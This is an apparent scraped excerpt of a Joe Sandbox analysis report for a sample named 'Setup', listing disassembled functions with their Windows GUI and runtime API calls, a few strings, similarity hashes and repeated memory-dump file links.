Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: CloseDataTheme
String ID:
API String ID: 2797872399-0
Opcode ID: 8038d06481fe6a927b0aa4589347a6dd5eaf594d077de6c468de293644576b01
Instruction ID: 1a488b7ba916b7a48c12c959a3f1ba72f36775624919abd5552bb86500c66a56
Opcode Fuzzy Hash: 8038d06481fe6a927b0aa4589347a6dd5eaf594d077de6c468de293644576b01
Instruction Fuzzy Hash: 8431AE31005A40DFD73A5F25EE0C75AFBF2FB1930AF48496EE496518B0CB75AA94EE01

Function 00BA5D9F Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 358timewindowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00BA5DB6
GetCursorPos.USER32(?), ref: 00BA5DD4
ScreenToClient.USER32(?,?), ref: 00BA5DE1
GetParent.USER32(?), ref: 00BA5EAE
SetTimer.USER32(00000000,0000EC18,FFFFFFFE,00000000), ref: 00BA5F0C
InvalidateRect.USER32(00000000,00000054,00000001), ref: 00BA5F1B
UpdateWindow.USER32(00000000), ref: 00BA5F24
KillTimer.USER32(00000000,0000EC18,00000000), ref: 00BA5F3F
GetParent.USER32(?), ref: 00BA6015
GetParent.USER32(?), ref: 00BA607E
SendMessageW.USER32(?,0000011F,00000080,?), ref: 00BA6108
KillTimer.USER32(0000EC18,0000EC18), ref: 00BA613D
__EH_prolog3.LIBCMT ref: 00BA6155
GetCursorPos.USER32(?), ref: 00BA6220

Part of subcall function 00BE43F0: __EH_prolog3.LIBCMT ref: 00BE43F7

Strings

Control Panel\Desktop, xrefs: 00BA619F
MenuShowDelay, xrefs: 00BA61CD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: ParentTimer$CursorH_prolog3KillWindow$ClientInvalidateMessageRectScreenSendUpdate
String ID: Control Panel\Desktop$MenuShowDelay
API String ID: 3950007754-702829638
Opcode ID: 791c76a3c441a66bdbb362cbda0533bb9b4e07c8636c7d8546c4f5e72ba14f5b
Instruction ID: 5229671e01b8b108da7d7485fdfec523cfbe760b3654682e5691c922e34bc73e
Opcode Fuzzy Hash: 791c76a3c441a66bdbb362cbda0533bb9b4e07c8636c7d8546c4f5e72ba14f5b
Instruction Fuzzy Hash: 4FD1EFB1A04611EFDF249F64DC94BAD7BF5FF45310F1801AAE8169B2A1DB319E41CB50

Function 00BE9495 Relevance: 28.3, APIs: 15, Strings: 1, Instructions: 261COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00BE949F

Strings

(, xrefs: 00BE95BD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: H_prolog3_
String ID: (
API String ID: 2427045233-3887548279
Opcode ID: e41882fd5af03331290d490ff61b22c7a9dead04589464c99e88d23c295f15f4
Instruction ID: 89b141b8955f66f6731bc7b2a497a2d6867cde8b7a6b730340f398b6e6fd0803
Opcode Fuzzy Hash: e41882fd5af03331290d490ff61b22c7a9dead04589464c99e88d23c295f15f4
Instruction Fuzzy Hash: 3CB13A70901269DFDB24DF65CC85BAEBBB5FF55300F0081EAE549A6261DB309E84DF21

Function 00B8C99C Relevance: 28.2, APIs: 15, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00003020), ref: 00B8C9C4
GetDlgItem.USER32(?,00003020), ref: 00B8C9EF
GetWindowRect.USER32(00000000,?), ref: 00B8CA0A
MapDialogRect.USER32(?,?), ref: 00B8CA32
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,00000020,00000016), ref: 00B8CA5C
GetDlgItem.USER32(?,00000001), ref: 00B8CA6D
GetWindowRect.USER32(00000000,?), ref: 00B8CA7F
SetWindowPos.USER32(?,00000000,?,?,00000000,00000000,00000015), ref: 00B8CAA3
GetWindowRect.USER32(?,?), ref: 00B8CAB8
GetWindowRect.USER32(?,?), ref: 00B8CB1B
GetDlgItem.USER32(?,00000001), ref: 00B8CB32
GetWindowRect.USER32(00000000,?), ref: 00B8CB41
GetDlgItem.USER32(?,00000001), ref: 00B8CB6A
ShowWindow.USER32(00000000,00000000), ref: 00B8CB79
EnableWindow.USER32(00000000,00000000), ref: 00B8CB82

Strings

, xrefs: 00B8CA2B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$Item$DialogEnableShow
String ID:
API String ID: 763981185-3916222277
Opcode ID: 878a57448e1121eb3afc5b17454123a9ab8013ec92ef90d0db8f54de6528a23c
Instruction ID: 524d1800845c9bf10ec5673f74ef8e4e1eba4dde254f5a3ce979095911394913
Opcode Fuzzy Hash: 878a57448e1121eb3afc5b17454123a9ab8013ec92ef90d0db8f54de6528a23c
Instruction Fuzzy Hash: B8611BB1A01609AFEB11DFA5CD89EAFBBF9FF48700F10016AF515A2261D7709A01DB71

Function 00C5357D Relevance: 24.4, APIs: 16, Instructions: 388COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00C53584
GetCursorPos.USER32(?), ref: 00C53644
IsRectEmpty.USER32(?), ref: 00C53678
IsRectEmpty.USER32(?), ref: 00C5369F
IsRectEmpty.USER32(?), ref: 00C536C5
GetWindowRect.USER32(?,?), ref: 00C536F2
GetWindowRect.USER32(?,?), ref: 00C53724
PtInRect.USER32(?,?,?), ref: 00C53771
OffsetRect.USER32(?,?,00000000), ref: 00C53789

Part of subcall function 00C5476F: __EH_prolog3.LIBCMT ref: 00C54776
Part of subcall function 00C5476F: SetRectEmpty.USER32 ref: 00C54876
Part of subcall function 00C5476F: SetRectEmpty.USER32(?), ref: 00C5487D

SetRectEmpty.USER32(?), ref: 00C537B0
OffsetRect.USER32(?,?,?), ref: 00C53948
IsRectEmpty.USER32(?), ref: 00C53968
IsRectEmpty.USER32(?), ref: 00C53991
PtInRect.USER32(?,00000000,00000000), ref: 00C539A4
OffsetRect.USER32(?,00000000,?), ref: 00C539CE
IsRectEmpty.USER32(?), ref: 00C539EC

Part of subcall function 00C533BB: SetRectEmpty.USER32(000000FF), ref: 00C53410
Part of subcall function 00C533BB: IsRectEmpty.USER32(?), ref: 00C5341A
Part of subcall function 00C533BB: SetRectEmpty.USER32(?), ref: 00C5346D
Part of subcall function 00C533BB: SetRectEmpty.USER32(?), ref: 00C53477

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$Empty$Offset$Window$CursorH_prolog3H_prolog3_
String ID:
API String ID: 359163869-0
Opcode ID: 466e1ce7fd4bc2d3abfe6019cd59e33f87b471753df7dad05150f0a795ba04ac
Instruction ID: 9b970757c0f6fa64e5a2e1f5d804c8b97c19fa22c00e3a1a688cd66b0bda3eea
Opcode Fuzzy Hash: 466e1ce7fd4bc2d3abfe6019cd59e33f87b471753df7dad05150f0a795ba04ac
Instruction Fuzzy Hash: 18E1C975A002449FCF09DFA4C984BADBBB6FF48341F14406AEC15AB285EB31EE85CB54

Function 00B6FAFF Relevance: 24.2, APIs: 16, Instructions: 186windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7589D: GetWindowLongW.USER32(?,000000F0), ref: 00B758AA

GetParent.USER32(00000000), ref: 00B6FB3B
SendMessageW.USER32(00000000,0000036B,00000000,00000000), ref: 00B6FB60
GetWindowRect.USER32(00000000,00000000), ref: 00B6FB85
GetWindowLongW.USER32(00000000,000000F0), ref: 00B6FBB4
MonitorFromWindow.USER32(00000000,00000001), ref: 00B6FBEA
GetMonitorInfoW.USER32(00000000), ref: 00B6FBF1
CopyRect.USER32(?,?), ref: 00B6FBFF
GetWindowRect.USER32(00000000,?), ref: 00B6FC0C
MonitorFromWindow.USER32(00000000,00000002), ref: 00B6FC19
GetMonitorInfoW.USER32(00000000), ref: 00B6FC20
CopyRect.USER32(?,?), ref: 00B6FC2E
GetParent.USER32(00000000), ref: 00B6FC39
GetClientRect.USER32(00000000,?), ref: 00B6FC46
GetClientRect.USER32(00000000,?), ref: 00B6FC51
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 00B6FC5F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Window$Rect$Monitor$ClientCopyFromInfoLongParent$MessagePointsSend
String ID:
API String ID: 3610148278-0
Opcode ID: f0f4fc6cc46c302e4e184176c5b6ab40de889ec547fe019e5e4c207504e70a41
Instruction ID: 573988f66d3f729fab68a13ef8f1607fd625335211271c46676a5c898db209b2
Opcode Fuzzy Hash: f0f4fc6cc46c302e4e184176c5b6ab40de889ec547fe019e5e4c207504e70a41
Instruction Fuzzy Hash: 97614DB290160AAFCB01DFA8DD89BEEBBF9FF48310F150165E915E7250D734AA058B60

Function 00B76354 Relevance: 24.2, APIs: 16, Instructions: 176windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,?,?,00000001), ref: 00B763E7
SendMessageW.USER32(00000000,00000084,00000000,?), ref: 00B76405
ReleaseCapture.USER32 ref: 00B76440
GetMessageW.USER32(?,00000000,000000A1,000000A1), ref: 00B76450
PeekMessageW.USER32(?,00000000,?,?,00000001), ref: 00B76462
DispatchMessageW.USER32(?), ref: 00B76469
DispatchMessageW.USER32(?), ref: 00B76520
GetCursorPos.USER32(00000000), ref: 00B7652A
PeekMessageW.USER32(?,00000000,?,?,00000001), ref: 00B7654B

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Message$Peek$Dispatch$CaptureCursorReleaseSend
String ID:
API String ID: 597789953-0
Opcode ID: 32839bbcea4e6d0b0bc661b8456ac9949907e6eaf4a8538e7e4e5f03ddee9bf4
Instruction ID: cb6763cb99f7572fb981cbc21eeed1d1d2ccec69de06017f22fc36e5740d6318
Opcode Fuzzy Hash: 32839bbcea4e6d0b0bc661b8456ac9949907e6eaf4a8538e7e4e5f03ddee9bf4
Instruction Fuzzy Hash: 2C51E1B0600A05BFEB251B64DD89F7DBBB9EB40B01F11C199F12AE52D0D774E940EA62

Function 00BEA02F Relevance: 24.2, APIs: 16, Instructions: 158windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00BEA036
CreateCompatibleDC.GDI32(00000000), ref: 00BEA063
GetObjectW.GDI32(?,00000018,?), ref: 00BEA07C
SelectObject.GDI32(?,?), ref: 00BEA094
CreateCompatibleBitmap.GDI32(?,?,?), ref: 00BEA0BF
SelectObject.GDI32(?,00000000), ref: 00BEA0D0

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$CompatibleCreateSelect$BitmapH_prolog3
String ID:
API String ID: 1715795092-0
Opcode ID: ef921bcb17f432e90b98377c8bbe6b65eb3ca01bbe46ee6f2bcc5de30827f28b
Instruction ID: c742a24cca354cbf8bc995222dab6a5162562cd9c84d2e9529d230066b7931ae
Opcode Fuzzy Hash: ef921bcb17f432e90b98377c8bbe6b65eb3ca01bbe46ee6f2bcc5de30827f28b
Instruction Fuzzy Hash: 4A513A319012A9EFCF219FA5DC48EAEBBB9FF09710F100156F511B6160DB31AE51DBA2

Function 00B77BBF Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 162libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,?,00000108,00B6520B,?,?), ref: 00B77BF2
GetProcAddress.KERNEL32(00000000,GetThreadPreferredUILanguages), ref: 00B77C02
EncodePointer.KERNEL32(00000000,?,?,?,00000108,00B6520B,?,?), ref: 00B77C0B
DecodePointer.KERNEL32(00000000,?,?,?,?,?,00000108,00B6520B,?,?), ref: 00B77C19
GetUserDefaultUILanguage.KERNEL32(?,?,?,00000108,00B6520B,?,?), ref: 00B77C43
___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 00B77C53
___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 00B77C82
GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00B77CB0
___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 00B77CC0
___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 00B77CF8
___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 00B77D2E

Strings

kernel32.dll, xrefs: 00B77BED
GetThreadPreferredUILanguages, xrefs: 00B77BFC

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: DownlevelLocaleName___crt$DefaultLanguagePointer$AddressDecodeEncodeHandleModuleProcSystemUser
String ID: GetThreadPreferredUILanguages$kernel32.dll
API String ID: 404278886-1646127487
Opcode ID: 80128021374d7785ef69f0411b8904000b7b665464d491ab7a7f965b8d603cb5
Instruction ID: 2763ae25c37d99824c90f2e091461e81bfc7b3e8e98217b8fc25f64ff2562895
Opcode Fuzzy Hash: 80128021374d7785ef69f0411b8904000b7b665464d491ab7a7f965b8d603cb5
Instruction Fuzzy Hash: 33511CB1D4420AAFCB15EFA4CD85EAE77BCEF48304F404166F905E7251DB34AA099BB1

Function 00BA7DED Relevance: 22.8, APIs: 15, Instructions: 254timeCOMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00BA7E2E
InflateRect.USER32(?,00000000,00000000), ref: 00BA7E67
SetRectEmpty.USER32(?), ref: 00BA7F09
SetRectEmpty.USER32(?), ref: 00BA7F16
GetSystemMetrics.USER32(00000002), ref: 00BA7F3B
KillTimer.USER32(?,0000EC16), ref: 00BA7FEB
EqualRect.USER32(?,?), ref: 00BA8008
EqualRect.USER32(?,?), ref: 00BA801D
EqualRect.USER32(?,?), ref: 00BA8091
InvalidateRect.USER32(?,?,00000001), ref: 00BA80A4
InvalidateRect.USER32(?,?,00000001), ref: 00BA80B0
EqualRect.USER32(?,?), ref: 00BA80C2
InvalidateRect.USER32(?,?,00000001), ref: 00BA80D5
InvalidateRect.USER32(?,?,00000001), ref: 00BA80E1
UpdateWindow.USER32(?), ref: 00BA80F1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Rect$EqualInvalidate$Empty$ClientInflateKillMetricsSystemTimerUpdateWindow
String ID:
API String ID: 2140115980-0
Opcode ID: 04858d4b2bc55815ff28bcc19f75db5bb5da500126b9987a8bce3af529364892
Instruction ID: 500837f626d0b64397601081ccd6567296d2fbe790c5ccb6533048f6824ccfe2
Opcode Fuzzy Hash: 04858d4b2bc55815ff28bcc19f75db5bb5da500126b9987a8bce3af529364892
Instruction Fuzzy Hash: E3A13971904255EFCF11CFA4C888AEE7BB5FF49300F1401BAED05AB215DB71AA45DBA1

Function 00B8FF19 Relevance: 22.7, APIs: 15, Instructions: 227windowCOMMON

Download Yara Rule

APIs

GetDlgCtrlID.USER32(?), ref: 00B8FFAC
GetDlgItem.USER32(?,?), ref: 00B9005C
ShowWindow.USER32(00000000,00000000), ref: 00B9006A
GetMenu.USER32(?), ref: 00B9007C
InvalidateRect.USER32(?,00000000,00000001), ref: 00B90098
GetDlgItem.USER32(?,0000E900), ref: 00B900E4
SetWindowLongW.USER32(00000000,000000F4,0000EA21), ref: 00B900F8
GetDlgItem.USER32(?,0000EA21), ref: 00B90114
GetDlgItem.USER32(?,0000E900), ref: 00B9012A
SetWindowLongW.USER32(00000000,000000F4,0000EA21), ref: 00B9013C
SetWindowLongW.USER32(?,000000F4,0000E900), ref: 00B90148
InvalidateRect.USER32(?,00000000,00000001), ref: 00B9015B
SetMenu.USER32(?,00000000), ref: 00B90172
GetDlgItem.USER32(?,?), ref: 00B901CF
ShowWindow.USER32(?,00000005), ref: 00B901DD

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

